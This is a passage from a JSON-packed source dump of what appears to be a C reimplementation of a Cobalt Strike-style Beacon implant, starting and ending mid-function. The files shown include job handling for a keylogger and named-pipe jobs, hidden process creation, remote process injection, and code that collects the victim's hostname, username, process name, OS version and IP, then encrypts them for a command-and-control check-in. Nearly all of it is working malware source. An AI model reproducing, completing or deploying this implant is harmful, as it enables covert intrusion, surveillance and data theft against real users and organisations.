pBeaconProcessInject->Process_PID, GetLastError());\n        }\n        \n        \n    }\n\n    \n}\n\nvoid ProcessInject(int pid, PROCESS_INFORMATION* pi, HANDLE hProcess, char* payload, size_t p_len, int p_offset, char* arg, int a_len)\n{\n\n    char* parameter_addr;\n    BeaconProcessInject pBeaconProcessInject;\n    sub_10004B81(hProcess, pi, pid, &pBeaconProcessInject);\n    if (a_len <= 0)\n    {\n        parameter_addr = 0;\n    }\n    else\n    {\n        parameter_addr = VirtualProtecAddress(a_len, &pBeaconProcessInject, arg);\n\n    }\n  \n    InjectComply(p_len, &pBeaconProcessInject, p_offset, payload, parameter_addr);\n\n}\n\n"
  },
  {
    "path": "Beacon/Job.c",
    "content": "#include \"Util.h\"\n#include \"Job.h\"\nBeaconJob* gBeaconJob = NULL;\n#pragma warning(disable:4996)\n// αĺ壬Ҫʵ滻\nint g_job_Number;\nvoid Add_Beacon_Job(BeaconJob* pBeaconJob)\n{\n    pBeaconJob->JobNumber = g_job_Number;\n    ++g_job_Number;\n    BeaconJob* pgBeaconJob = gBeaconJob;\n    BeaconJob* temp;\n    if (pgBeaconJob)\n    {\n        do\n        {\n            temp = pgBeaconJob;\n            pgBeaconJob = pgBeaconJob->Linked;\n        } while (pgBeaconJob);\n        temp->Linked = pBeaconJob;\n    }\n    else\n    {\n        gBeaconJob = pBeaconJob;\n    }\n}\n\n\nvoid Add_BeaconInternal_Job(HANDLE hNamedPipe, int job_process_pid, int job_type, char* job_name, int lasting)\n{\n    BeaconJob* psshBeaconJob = (BeaconJob*)malloc(sizeof(BeaconJob));\n    psshBeaconJob->hWritePipe = (HANDLE)-1;\n    psshBeaconJob->Linked = 0;\n    psshBeaconJob->hReadPipe = hNamedPipe;\n    psshBeaconJob->state = 1;\n    psshBeaconJob->kill = 0;\n    psshBeaconJob->JobProcessPid = job_process_pid;\n    psshBeaconJob->JobType = job_type;\n    psshBeaconJob->lasting = lasting;\n    strncpy(psshBeaconJob->JobName, job_name, 64);\n    Add_Beacon_Job(psshBeaconJob);\n}\n\nBOOL ConnectPipe(int dwFlagsAndAttributes, HANDLE* hNamedPipe, LPCSTR lpNamedPipeName)\n{\n    HANDLE i;\n    DWORD Mode;\n    dwFlagsAndAttributes = dwFlagsAndAttributes | 0x100000;\n    for (i = CreateFileA(lpNamedPipeName, GENERIC_READ | GENERIC_WRITE, 0, 0, 3u, dwFlagsAndAttributes | 0x100000, 0);\n        ;\n        i = CreateFileA(lpNamedPipeName, GENERIC_READ | GENERIC_WRITE, 0, 0, 3u, dwFlagsAndAttributes, 0))\n    {\n        *hNamedPipe = i;\n        if (i != (HANDLE)-1)\n        {\n            break;\n        }\n        if (GetLastError() != 231)\n        {\n            return 0;\n        }\n        if (!WaitNamedPipeA(lpNamedPipeName, 0x2710))\n        {\n            SetLastError(0x102);\n            return 0;\n        }\n    }\n    Mode = 0;\n    if (SetNamedPipeHandleState(*hNamedPipe, &Mode, 0, 0))\n    {\n        return 1;\n    }\n    DisconnectNamedPipe(*hNamedPipe);\n    CloseHandle(*hNamedPipe);\n    return 0;\n}\n\nint BeaconDataCopyToBuf(unsigned char* parser, char* buffer, int buffer_size, size_t* lenn)\n{\n    int copy_size = bigEndianUint32(parser);\n    if (!copy_size)\n    {\n        return 0;\n    }\n    if (copy_size + 1 > buffer_size)\n    {\n        return 0;\n    }\n    char* data = parser + 4;\n    if (!data)\n    {\n        return 0;\n    }\n    memcpy(buffer, data, copy_size);\n    buffer[copy_size] = 0;\n    *lenn = copy_size;\n    return copy_size + 1;\n}\n\nBOOL ConnectJobPipe(HANDLE* hNamedPipe, int dwFlagsAndAttributes, CHAR* NamedPipeName)\n{\n    if (dwFlagsAndAttributes)\n    {\n        return ConnectPipe(dwFlagsAndAttributes, hNamedPipe, NamedPipeName);\n    }\n    BOOL ret = ConnectPipe(0, hNamedPipe, NamedPipeName);\n    return ret;\n}\nvoid KEYLOGGEJob(int FlagsAndAttributes, char* commandBuf, int lenn, int lasting) {\n    char job_name[64] = { 0 };\n    CHAR NamedPipeName[64] = { 0 };\n    HANDLE hNamedPipe;\n\n    uint8_t job_process_pidd[4];\n    uint8_t job_typee[2];\n    uint8_t timeoutt[2];\n    unsigned char* job_process_piddtstart = commandBuf;\n    unsigned char* job_typeestart = commandBuf + 4;\n    unsigned char* timeouttstart = commandBuf + 6;\n    memcpy(job_process_pidd, job_process_piddtstart, 4);\n    memcpy(job_typee, job_typeestart, 2);\n    memcpy(timeoutt, timeouttstart, 2);\n    int job_process_pid = bigEndianUint32(job_process_pidd);\n    int job_type = Readshort(job_typee);\n    int timeout = Readshort(timeoutt);\n    size_t Bufflen;\n    if (BeaconDataCopyToBuf(timeouttstart+2, NamedPipeName, 64 , &Bufflen) && BeaconDataCopyToBuf(timeouttstart+ 6+Bufflen, job_name, 64,&Bufflen)) {\n        int dwFlagsAndAttributes = FlagsAndAttributes != 0 ? 0x20000 : 0;\n        int number = 0;\n        while (!ConnectJobPipe(&hNamedPipe, dwFlagsAndAttributes, NamedPipeName))\n        {\n            Sleep(500);\n            if (++number >= 20)\n            {\n                return;\n            }\n        }\n        if (timeout)\n        {\n            CheckTimeout(hNamedPipe, timeout);\n\n        }\n        \n        Add_BeaconInternal_Job(hNamedPipe, job_process_pid, job_type, job_name, lasting);\n    }\n}\n\nCreatePipeJob createjob() {\n    BOOL bRet = FALSE;\n\n    HANDLE hReadPipe = NULL;\n    HANDLE hWritePipe = NULL;\n    SECURITY_ATTRIBUTES securityAttributes = { 0 };\n    STARTUPINFO si = { 0 };\n\n    // Set the security attributes for the pipe\n    securityAttributes.bInheritHandle = TRUE;\n    securityAttributes.nLength = sizeof(securityAttributes);\n    securityAttributes.lpSecurityDescriptor = NULL;\n    // Create an anonymous pipe\n    bRet = CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);\n    if (FALSE == bRet) {\n        printf(\"CreatePipe\");\n    }\n    // Set up the parameters for the new process\n    si.cb = sizeof(si);\n    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;\n    si.wShowWindow = SW_HIDE;\n    si.hStdError = hWritePipe;\n    si.hStdOutput = hWritePipe;\n    CreatePipeJob CreatePipeJob;\n    CreatePipeJob.si = si;\n    CreatePipeJob.hReadPipe = hReadPipe;\n    CreatePipeJob.hWritePipe = hWritePipe;\n    return CreatePipeJob;\n\n}\n\nBeaconJob* Add_Beacon_0Job(HANDLE hProcess, HANDLE hThread, int dwProcessId, int dwThreadId, HANDLE hReadPipe, HANDLE hWritePipe, const char* jobname)\n{\n    BeaconJob* pBeaconJob = (BeaconJob*)malloc(sizeof(BeaconJob));\n    pBeaconJob->pHandle = hProcess;\n    pBeaconJob->hThread = hThread;\n    pBeaconJob->dwProcessId = dwProcessId;\n    pBeaconJob->dwThreadId = dwThreadId;\n    pBeaconJob->Linked = 0;\n    pBeaconJob->hReadPipe = hReadPipe;\n    pBeaconJob->hWritePipe = hWritePipe;\n    pBeaconJob->state = 0;\n    pBeaconJob->kill = 0;\n    pBeaconJob->JobType = 0;\n    pBeaconJob->JobProcessPid = dwProcessId;\n    pBeaconJob->lasting = 0;\n    _snprintf(pBeaconJob->JobName, 0x40u, \"%s\", jobname);\n    Add_Beacon_Job(pBeaconJob);\n    return pBeaconJob;\n}\n\n\n// <summary>\n/// beacon jos,ɾֹͣ״̬\n/// </summary>\nvoid del_beacon_job()\n{\n    BeaconJob* pgBeaconJob = gBeaconJob;\n    if (pgBeaconJob)\n    {\n        do\n        {\n            if (pgBeaconJob->kill == 1)\n            {\n                if (pgBeaconJob->state)\n                {\n                    if (pgBeaconJob->state == 1)\n                    {\n                        DisconnectNamedPipe(pgBeaconJob->hReadPipe);\n                        CloseHandle(pgBeaconJob->hReadPipe);\n                    }\n                }\n                else\n                {\n                    CloseHandle(pgBeaconJob->pHandle);\n                    CloseHandle(pgBeaconJob->hThread);\n                    CloseHandle(pgBeaconJob->hReadPipe);\n                    CloseHandle(pgBeaconJob->hWritePipe);\n                }\n            }\n            pgBeaconJob = pgBeaconJob->Linked;\n        } while (pgBeaconJob);\n\n    }\n    pgBeaconJob = gBeaconJob;\n    BeaconJob* temp = 0;\n    while (pgBeaconJob)\n    {\n        if (pgBeaconJob->kill == 1)\n        {\n            if (temp)\n            {\n                temp->Linked = pgBeaconJob->Linked;\n                free(pgBeaconJob);\n                pgBeaconJob = pgBeaconJob->Linked;\n            }\n            else\n            {\n                gBeaconJob = pgBeaconJob->Linked;\n                BeaconJob* temp1 = gBeaconJob;\n                free(pgBeaconJob);\n                pgBeaconJob = temp1;\n            }\n        }\n        else\n        {\n            temp = pgBeaconJob;\n            pgBeaconJob = pgBeaconJob->Linked;\n        }\n    }\n}\n\n\nvoid beacon_JobKill(char* Taskdata, int Task_size)\n{\n    BeaconJob* pBeaconJob = gBeaconJob;\n    datap pdatap;\n    BeaconDataParse(&pdatap, Taskdata, Task_size);\n    int jobid = BeaconDataShort(&pdatap);\n    while (pBeaconJob)\n    {\n        if (pBeaconJob->JobNumber == jobid)\n        {\n            pBeaconJob->kill = 1;\n        }\n        pBeaconJob = pBeaconJob->Linked;\n    }\n    del_beacon_job();\n}\nvoid beacon_jobs() {\n    BeaconJob* pBeaconJob = gBeaconJob;\n    formatp pformatp;\n\n    // ʼʽ\n    BeaconFormatAlloc(&pformatp, 0x8000);\n\n    // бʽ\n    while (pBeaconJob) {\n        BeaconFormatPrintf(&pformatp, \"%d\\t%d\\t%s\\n\", pBeaconJob->JobNumber, pBeaconJob->JobProcessPid, pBeaconJob->JobName);\n        pBeaconJob = pBeaconJob->Linked;\n    }\n\n    // ȡʽĳȺָ\n    int length = BeaconFormatlength(&pformatp);\n    char* buffer = BeaconFormatOriginalPtr(&pformatp);\n\n    // ͸ʽ Beacon\n    \n    uint8_t id[21] = \"JID\\tPID\\tDescription\\n\";\n    uint8_t xiahua[21] = \"---\\t---\\t-----------\\n\";\n    size_t metaInfoSize1 = sizeof(id) + sizeof(xiahua) + length-3;\n    unsigned char* metaInfoconcatenated1 = (unsigned char*)malloc(metaInfoSize1);\n    metaInfoconcatenated1[metaInfoSize1] = '\\0';\n    memcpy(metaInfoconcatenated1,id, sizeof(id));\n    memcpy(metaInfoconcatenated1+ sizeof(id)-1, xiahua, sizeof(xiahua));\n    memcpy(metaInfoconcatenated1 + sizeof(id) + sizeof(xiahua)-2, buffer, length);\n    \n    DataProcess(metaInfoconcatenated1, metaInfoSize1, 0);\n   \n\n    // ͷԴ\n    BeaconFormatFree(&pformatp);\n}\n\nunsigned char* ParsepipeName(unsigned char* buf, size_t* argsize , size_t* len) {\n    uint8_t argLenBytes[4];\n    if (*argsize == 0) {\n        memcpy(argLenBytes, buf + 8, 4);\n        uint32_t argLen = bigEndianUint32(argLenBytes);\n        if (argLen != 0) {\n            unsigned char* arg = (unsigned char*)malloc(argLen);\n            memcpy(arg, buf + 12, argLen);\n            arg[argLen] = '\\0';\n            *argsize = 12 + argLen;\n            *len = argLen;\n            return arg;\n        }\n\n    }\n    else\n    {\n        memcpy(argLenBytes, buf + *argsize, 4);\n        uint32_t argLen = bigEndianUint32(argLenBytes);\n        if (argLen != 0) {\n            unsigned char* arg = (unsigned char*)malloc(argLen);\n            memcpy(arg, buf + 4 + *argsize, argLen);\n            arg[argLen] = '\\0';\n            *argsize = 4 + *argsize + argLen;\n            *len = argLen;\n            return arg;\n        }\n\n    }\n\n\n}\nstruct ThreadArgs {\n    unsigned char* pipeName;\n    uint16_t* sleepTime;\n    uint16_t* callbackType;\n    unsigned char* JobName;\n    uint32_t PIDD;\n};\n\nvoid CheckTimeout(HANDLE hNamedPipe, int timeout)\n{\n    DWORD TotalBytesAvail = 0;\n    int time = timeout + GetTickCount();\n    while (GetTickCount() < time && PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0) && !TotalBytesAvail)\n    {\n        Sleep(500);\n    }\n}\nDWORD WINAPI PipeJobHandla(LPVOID lpParam) {\n    Sleep(2000);\n    struct ThreadArgs* args = (struct ThreadArgs*)lpParam;\n    unsigned char* pipeName = args->pipeName;\n    uint16_t* sleepTime = args->sleepTime;\n    uint16_t* callbackType = args->callbackType;\n    unsigned char* JobName = args->JobName;\n    uint32_t* PIDD = args->PIDD;\n    HANDLE hNamedPipe;\n    int number = 0;\n    HANDLE i;\n    DWORD Mode;\n    int resBool = 0;\n    LPCSTR aaa = pipeName;\n    while (!resBool) {\n        for (i = CreateFileA(aaa, GENERIC_READ | GENERIC_WRITE, 0, 0, 3u, 0 | 0x100000, 0);\n            ;\n            i = CreateFileA(aaa, GENERIC_READ | GENERIC_WRITE, 0, 0, 3u, 0, 0))\n        {\n            if (i == INVALID_HANDLE_VALUE) {\n                resBool = 0;\n            }\n            hNamedPipe = i;\n            if (i != (HANDLE)-1)\n            {\n                break;\n            }\n            if (GetLastError() != 231)\n            {\n                resBool = 0;\n                break;\n            }\n            if (!WaitNamedPipeA(aaa, 0x2710))\n            {\n                SetLastError(0x102);\n                resBool = 0;\n                break;\n            }\n        }\n        Mode = 0;\n        if (SetNamedPipeHandleState(hNamedPipe, &Mode, 0, 0))\n        {\n            resBool = 1;\n        }\n        else\n        {\n            DisconnectNamedPipe(hNamedPipe);\n            CloseHandle(hNamedPipe);\n            resBool = 0;\n        }\n        if (resBool == 0) {\n            Sleep(500);\n            if (++number >= 20)\n            {\n                BeaconErrorD(20, GetLastError());\n                return;\n            }\n        }\n    }\n    if (sleepTime)\n    {\n        CheckTimeout(hNamedPipe, sleepTime);\n    }\n    char buffer[10000];\n    DWORD bytesRead;\n    OVERLAPPED overlap = { 0 };\n    ReadFile(hNamedPipe, buffer, sizeof(buffer), NULL, &overlap);\n    DataProcess(buffer, overlap.InternalHigh, 0);\n    Add_BeaconInternal_Job(hNamedPipe, PIDD, callbackType, JobName, 0);\n    //HANDLE pipe = CreateFileA(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);\n    //if (pipe == INVALID_HANDLE_VALUE) {\n    //    fprintf(stderr, \"Failed to open pipe (%lu)\\n\", GetLastError());\n    //    return NULL;\n    //}\n    \n\n}\nvoid PipeJob(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen) {\n    size_t argsize = 0;\n    unsigned char* bufstart = buf;\n    uint8_t PID[4];\n    uint8_t callbackTypeByte[2];\n    uint8_t sleepTimeByte[2];\n    memcpy(PID, bufstart, 4);\n    memcpy(callbackTypeByte, bufstart+4,2);\n    memcpy(sleepTimeByte, bufstart+6, 2);\n    uint32_t PIDD = bigEndianUint32(PID);\n    uint16_t callbackType= Readshort(callbackTypeByte);\n    uint16_t sleepTime = Readshort(sleepTimeByte);\n    size_t pipeNamelen = 0;\n    size_t JobNamelen = 0;\n    unsigned char* JobName = 0;\n    unsigned char* pipeName = 0;\n    datap pdatap;\n    BeaconDataParse(&pdatap, buf, commandBuflen);\n    int job_process_pid = BeaconDataInt(&pdatap);\n    pipeName = ParsepipeName(buf, &argsize,&pipeNamelen);\n    JobName = ParsepipeName(buf, &argsize,&JobNamelen);\n\n    //if (callbackType != CALLBACK_OUTPUT_UTF8 && callbackType != CALLBACK_SCREENSHOT && callbackType != CALLBACK_HASHDUMP) \n    if(pipeNamelen !=0 && JobNamelen !=0 )\n    {\n        struct ThreadArgs* args = (struct ThreadArgs*)malloc(sizeof(struct ThreadArgs));\n        if (args == NULL) {\n            // ڴʧܵ\n            return NULL;\n        }\n\n        args->pipeName = pipeName;\n        args->sleepTime = sleepTime;\n        args->callbackType = callbackType;\n        args->JobName = JobName;\n        args->PIDD = PIDD;\n        HANDLE myThread;\n        myThread = CreateThread(\n            NULL,                       // Ḭ̆߳ȫ\n            0,                          // Ĭ϶ջС\n            PipeJobHandla,           // ̺߳\n            args,                       // ݸ̺߳Ĳ\n            0,                          // Ĭϴ־\n            NULL);                      // 洢߳ID\n        if (myThread == NULL) {\n            fprintf(stderr, \"Failed to create thread. Error code: %lu\\n\", GetLastError());\n            return 1;\n        }\n    }\n   \n    return 0;\n    \n\n}\n\n\n"
  },
  {
    "path": "Beacon/Job.h",
    "content": "#pragma once\n#include \"Command.h\"\ntypedef struct {\n    HANDLE hReadPipe;\n    STARTUPINFO si;\n    HANDLE hWritePipe;\n} CreatePipeJob;\n\nCreatePipeJob createjob();\n\n\nBeaconJob* Add_Beacon_0Job(HANDLE hProcess, HANDLE hThread, int dwProcessId, int dwThreadId, HANDLE hReadPipe, HANDLE hWritePipe, const char* jobname);\nvoid beacon_jobs();\nvoid KEYLOGGEJob(int FlagsAndAttributes, char* Taskdata, int Task_size, int lasting);\nvoid BeaconFormatPrintf(formatp* format, char* fmt, ...);\nvoid beacon_JobKill(char* Taskdata, int Task_size);"
  },
  {
    "path": "Beacon/MetaData.c",
    "content": "#include <Winsock2.h>\n#include <ws2tcpip.h>\n#include <iphlpapi.h>\n#include <winsock2.h>\n#pragma comment(lib, \"Ws2_32.lib\")\n#pragma comment(lib, \"IPHLPAPI.lib\")\n#include \"MetaData.h\"\n#include \"Util.h\"\n#include \"Config.h\"\n#pragma warning(disable:4996)\nextern unsigned char AESRandaeskey[16];\nextern unsigned char Hmackey[16];\nextern int clientID;\n\n\n\n\nMakeMetaInfoResult MakeMetaInfo() {\n\n    unsigned char aesKey[16];\n    unsigned char* Randaeskey = RandomAESKey(aesKey, sizeof(aesKey));\n\n    unsigned char hash[SHA256_DIGEST_LENGTH];\n\n    SHA256(Randaeskey, 16, hash);\n\n\n    memcpy(AESRandaeskey, hash, 16);\n    memcpy(Hmackey, hash + 16, 16);\n\n    size_t RandaeskeyLength = sizeof(aesKey);\n    // תΪ uint8_t* \n    uint8_t* RandaeskeyByteData = (uint8_t*)Randaeskey;\n\n\n\n\n    size_t bytesWritten;\n    // ȡ ANSI ҳֽ\n    unsigned char* acpBytes = GetCodePageANSI(&bytesWritten);\n    if (acpBytes == NULL) {\n        printf(\"Failed to retrieve ANSI code page.\\n\");\n\n    }\n    //  ANSI ҳֽ\n   /* printf(\"ANSI Code Page Bytes: \");\n    for (size_t i = 0; i < bytesWritten; ++i) {\n        printf(\"%02x \", acpBytes[i]);\n    }\n    printf(\"\\n\");*/\n    // ͷŷڴ\n    // תΪ uint8_t* \n    uint8_t* acpByteseData = (uint8_t*)acpBytes;\n    // ӡ uint8_t* ݣʮʽ\n    /*printf(\"ANSI ҳ 111: \");\n    for (size_t i = 0; i < bytesWritten; ++i) {\n        printf(\"%02X \", acpByteseData[i]);\n    }\n    printf(\"\\n\");*/\n\n\n\n\n\n\n    size_t bytesWritten1;\n    // ȡ OEM ҳֽ\n    unsigned char* oemcpBytes = GetCodePageOEM(&bytesWritten1);\n    if (oemcpBytes == NULL) {\n        printf(\"Failed to retrieve OEM code page.\\n\");\n        return;\n    }\n    //  OEM ҳֽ\n   /* printf(\"OEM Code Page Bytes: \");\n    for (size_t i = 0; i < bytesWritten1; ++i) {\n        printf(\"%02x \", oemcpBytes[i]);\n    }\n    printf(\"\\n\");*/\n    // ͷŷڴ\n    uint8_t* oemcpBytesData = (uint8_t*)oemcpBytes;\n    // ӡ uint8_t* ݣʮʽ\n   /* printf(\"acpByteseData to uint8_t: \");\n    for (size_t i = 0; i < bytesWritten1; ++i) {\n        printf(\"%02X \", acpByteseData[i]);\n    }\n    printf(\"\\n\");*/\n\n\n    uint8_t clientIDBytes[4];\n    clientID = GenerateEvenRandomInt(100000, 999998);\n    if (clientID % 2 == 0) {\n        clientID = clientID;\n    }\n    else\n    {\n        clientID = clientID + 1;\n    }\n    //printf(\"Generated Geacon ID: %d\\n\", clientID);\n    PutUint32BigEndian(clientIDBytes, (uint32_t)clientID);\n    //printf(\"ClientID in Big Endian: 11111111111111111111111111111111111111111\\n\");\n    //for (int i = 0; i < 4; ++i) {\n    //    printf(\"%02x \", clientIDBytes[i]);\n    //}\n    //printf(\"\\n\");\n\n\n    int processID = getpid();\n    uint8_t processIDBytes[4]; // һֽڵֽ洢\n    PutUint32BigEndian(processIDBytes, processID);\n    /*printf(\"Process ID in Big Endian: \");\n    for (int i = 0; i < 4; ++i) {\n        printf(\"%02x \", processIDBytes[i]);\n    }\n    printf(\"\\n\");*/\n\n\n    uint16_t sshPort = 0; //  SSH ˿\n    uint8_t sshPortBytes[2]; // һֽڵֽ洢\n    PutUint16BigEndian(sshPortBytes, sshPort);\n    /* printf(\"SSH Port in Big Endian: \");\n     for (int i = 0; i < 2; ++i) {\n         printf(\"%02x \", sshPortBytes[i]);\n     }\n     printf(\"\\n\");*/\n\n    int metaDataFlag = GetMetaDataFlag();\n    uint8_t flagBytes[1]; // һֽڴСڴ洢\n    flagBytes[0] = (uint8_t)metaDataFlag; // ֵתΪֽͲ洢\n    //printf(\"Flag Byte: %02x\\n\", flagBytes[0]);\n\n\n    unsigned char* osVersion = GetOSVersion();\n    //printf(\"%s\\n\", osVersion);\n    int osMajorVersion = 0, osMinorVersion = 0, osBuild = 0;\n    // ϵͳ汾Ϣ\n    sscanf_s(osVersion, \"OS Version: %d.%d.%d\", &osMajorVersion, &osMinorVersion, &osBuild);\n    //printf(\"Major Version: %d\\n\", osMajorVersion);\n    //printf(\"Minor Version: %d\\n\", osMinorVersion);\n    //printf(\"Build Number: %d\\n\", osBuild);\n    uint8_t osMajorVersionByte[1];\n    uint8_t osMinorVersionByte[1];\n    osMajorVersionByte[0] = (uint8_t)osMajorVersion;\n    osMinorVersionByte[0] = (uint8_t)osMinorVersion;\n    /*printf(\"osMajorVersionByte  \");\n    for (int i = 0; i < 1; ++i) {\n        printf(\"%02x \", osMajorVersionByte[i]);\n    }\n    printf(\"\\n\");\n    printf(\"osMinorVersionByte \");*/\n    /*for (int i = 0; i < 1; ++i) {\n        printf(\"%02x \", osMinorVersionByte[i]);\n    }\n    printf(\"\\n\");*/\n\n    uint8_t osBuildBytes[2]; // һֽڵֽ洢\n    PutUint16BigEndian(osBuildBytes, osBuild);\n    /*   printf(\"osBuildBytes \");\n       for (int i = 0; i < 2; ++i) {\n           printf(\"%02x \", osBuildBytes[i]);\n       }\n       printf(\"\\n\");*/\n\n       // ͷŶ̬ڴ\n    free((void*)osVersion);\n\n\n\n    uint16_t ptrFuncAddr = 0;\n    uint8_t ptrFuncAddrBytes[4]; // һֽڵֽ洢\n    PutUint32BigEndian(ptrFuncAddrBytes, ptrFuncAddr);\n    /* printf(\"ptrFuncAddr in Big Endian: \");\n     for (int i = 0; i < 4; ++i) {\n         printf(\"%02x \", ptrFuncAddrBytes[i]);\n     }\n     printf(\"\\n\");*/\n\n    uint16_t ptrGMHFuncAddr = 0;\n    uint8_t ptrGMHFuncAddrBytes[4]; // һֽڵֽ洢\n    PutUint32BigEndian(ptrGMHFuncAddrBytes, ptrGMHFuncAddr);\n    /* printf(\"ptrGMHFuncAddrBytes in Big Endian: \");\n     for (int i = 0; i < 4; ++i) {\n         printf(\"%02x \", ptrGMHFuncAddrBytes[i]);\n     }\n     printf(\"\\n\");*/\n\n    uint16_t ptrGPAFuncAddr = 0;\n    uint8_t ptrGPAFuncAddrBytes[4]; // һֽڵֽ洢\n    PutUint32BigEndian(ptrGPAFuncAddrBytes, ptrGPAFuncAddr);\n    /* printf(\"ptrGPAFuncAddr in Big Endian: \");\n     for (int i = 0; i < 4; ++i) {\n         printf(\"%02x \", ptrGPAFuncAddrBytes[i]);\n     }\n     printf(\"\\n\");*/\n\n\n    uint32_t localIPInt = GetLocalIPInt();\n    uint8_t localIPIntBytes[4];\n    PutUint32BigEndian(localIPIntBytes, localIPInt);\n    /*printf(\"localIPIntBytes: \");\n    for (int i = 0; i < 4; ++i) {\n        printf(\"%02x \", localIPIntBytes[i]);\n    }\n    printf(\"\\n\");*/\n\n\n\n\n    char* hostName = GetComputerNameAsString();\n    char* currentUser = GetUsername();\n    char* processName = GetProcessName();\n    size_t totalLength = strlen(hostName) + strlen(currentUser) + strlen(processName);\n    char* osInfo = (char*)malloc(totalLength + 11); // СɸϢ\n    //printf(\"11111111%d\", totalLength);\n    //printf(\"\\n\");\n\n    snprintf(osInfo, totalLength + 11, \"%s\\t%s\\t%s\", hostName, currentUser, processName);\n    ;\n    if (strlen(osInfo) > 56) {\n        osInfo[56] = '\\0';\n    }\n    //printf(\"\\n\");\n  /*  printf(\"%s\\n\", osInfo);*/\n\n    size_t osInfoLength = strlen(osInfo);\n    // תΪ uint8_t* \n    uint8_t* osInfoByteData = (uint8_t*)osInfo;\n    // ӡ uint8_t* ݣʮʽ\n    //printf(\"osInfoByteData to uint8_t: \");\n    //for (size_t i = 0; i < osInfoLength; ++i) {\n    //    printf(\"%02X \", osInfoByteData[i]);\n    //}\n    //printf(\"\\n\");\n\n    uint8_t MagicHead[4];\n    uint8_t* magicHead = GetMagicHead(MagicHead);\n    //printf(\"magicHead     \");\n    //if (magicHead != NULL) {\n    //    for (int i = 0; i < 4; ++i) {\n    //        printf(\"%02x \", magicHead[i]);\n    //    }\n    //}\n    //printf(\"\\n\");\n    // 洢ǵĴС\n    uint8_t* onlineInfoBytes[] = { clientIDBytes, processIDBytes, sshPortBytes,flagBytes,osMajorVersionByte,\n        osMinorVersionByte,osBuildBytes,ptrFuncAddrBytes,ptrGMHFuncAddrBytes,ptrGPAFuncAddrBytes,localIPIntBytes,osInfoByteData };\n    size_t sizes[] = { sizeof(clientIDBytes), sizeof(processIDBytes), sizeof(sshPortBytes), sizeof(flagBytes),\n        sizeof(osMajorVersionByte), sizeof(osMinorVersionByte), sizeof(osBuildBytes), sizeof(ptrFuncAddrBytes),\n        sizeof(ptrGMHFuncAddrBytes), sizeof(ptrGPAFuncAddrBytes), sizeof(localIPIntBytes),osInfoLength };\n    size_t onlineInfoBytesArrays = sizeof(onlineInfoBytes) / sizeof(onlineInfoBytes[0]);\n\n    // Ӷֽ\n    uint8_t* onlineInfconcatenated = ConByte(onlineInfoBytes, sizes, onlineInfoBytesArrays);\n    size_t totalSize = 0;\n    //  sizeof ֵܺ\n    for (size_t i = 0; i < sizeof(sizes) / sizeof(sizes[0]); ++i) {\n        totalSize += sizes[i];\n    }\n\n\n\n    //if (onlineInfconcatenated != NULL) {\n    //    printf(\"Concatenated Byte Stream: \");\n    //    for (size_t i = 0; i < totalSize; ++i) {\n    //        printf(\"%02X \", onlineInfconcatenated[i]);\n    //    }\n    //    printf(\"\\n\");\n\n    //    // ͷŶ̬ڴ\n    //}\n    //else {\n    //    printf(\"Memory allocation failed.\\n\");\n    //}\n\n    uint8_t* metaInfoBytes[] = { RandaeskeyByteData, acpByteseData ,oemcpBytesData ,onlineInfconcatenated };\n    size_t metaInfosizes[] = { RandaeskeyLength ,bytesWritten ,bytesWritten1,totalSize };\n    size_t metaInfoBytesArrays = sizeof(metaInfoBytes) / sizeof(metaInfoBytes[0]);\n    uint8_t* metaInfoconcatenated = ConByte(metaInfoBytes, metaInfosizes, metaInfoBytesArrays);\n    size_t metaInfoSize = 0;\n    //  sizeof ֵܺ\n    for (size_t i = 0; i < sizeof(metaInfosizes) / sizeof(metaInfosizes[0]); ++i) {\n        metaInfoSize += metaInfosizes[i];\n    }\n    //if (metaInfoconcatenated != NULL) {\n    //    printf(\"metaInfoconcatenated Byte Stream: \");\n    //    for (size_t i = 0; i < metaInfoSize; ++i) {\n    //        printf(\"%02X \", metaInfoconcatenated[i]);\n    //    }\n    //    printf(\"\\n\");\n\n    //    // ͷŶ̬ڴ\n    //}\n    //else {\n    //    printf(\"Memory allocation failed.\\n\");\n    //}\n    //printf(\"\\n\");\n    uint8_t bBytes[4];\n    uint8_t* metalen = WriteInt(metaInfoSize, bBytes);\n    //printf(\"metalen:\");\n    //for (int i = 0; i < 4; ++i) {\n    //    printf(\"%02x \", metalen[i]);\n    //}\n    //printf(\"\\n\");\n\n    uint8_t* packetToEncryptBytes[] = { magicHead, metalen , metaInfoconcatenated };\n    size_t packetToEncryptsizes[] = { 4 ,4 ,metaInfoSize };\n    size_t packetToEncryptsArrays = sizeof(packetToEncryptBytes) / sizeof(packetToEncryptBytes[0]);\n    uint8_t* packetToEncryptconcatenated = ConByte(packetToEncryptBytes, packetToEncryptsizes, packetToEncryptsArrays);\n    size_t packetToEncryptSize = 0;\n    //  sizeof ֵܺ\n    for (size_t i = 0; i < sizeof(packetToEncryptsizes) / sizeof(packetToEncryptsizes[0]); ++i) {\n        packetToEncryptSize += packetToEncryptsizes[i];\n    }\n\n\n    if (packetToEncryptconcatenated != NULL) {\n\n\n        // ͷŶ̬ڴ\n    }\n    else {\n        printf(\"Memory allocation failed.\\n\");\n    }\n    printf(\"\\n\");\n    MakeMetaInfoResult MakeMetaInfoResult;\n\n    MakeMetaInfoResult.MakeMeta = packetToEncryptconcatenated;\n    MakeMetaInfoResult.MakeMetaLen = packetToEncryptSize;\n\n    return MakeMetaInfoResult;\n    \n\n}\n\nEncryMetadataResult EncryMetadata() {\n\n    //unsigned char* pub_key_str = \"-----BEGIN PUBLIC KEY-----\\n\"\n    //    \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCba6EFByEFa92FMviJ9WVjsdhCD2P9RbA5Duse\\n\"\n    //    \"kXD8KNBVn0R8ZqvUcFMNUJAmvhS3D3NoQw7cybTmtpZ9QH+UjXFRNjIIJhXEKC7pOqbzybKX8p28\\n\"\n    //    \"oOC2UIE2NeBq1a5n/PVmlaMPoUrruWxVQxeyUdB9wpG/+lk+EO6fTa5QaQIDAQAB\\n\"\n    //    \"-----END PUBLIC KEY-----\\n\";\n    // ԿַȡΪBIO\n    BIO* bio = BIO_new_mem_buf((void*)pub_key_str, -1);\n    if (bio == NULL) {\n        fprintf(stderr, \"Error creating BIO object\\n\");\n    }\n\n    // BIOжȡԿPEMʽ\n    EVP_PKEY* evp_key = 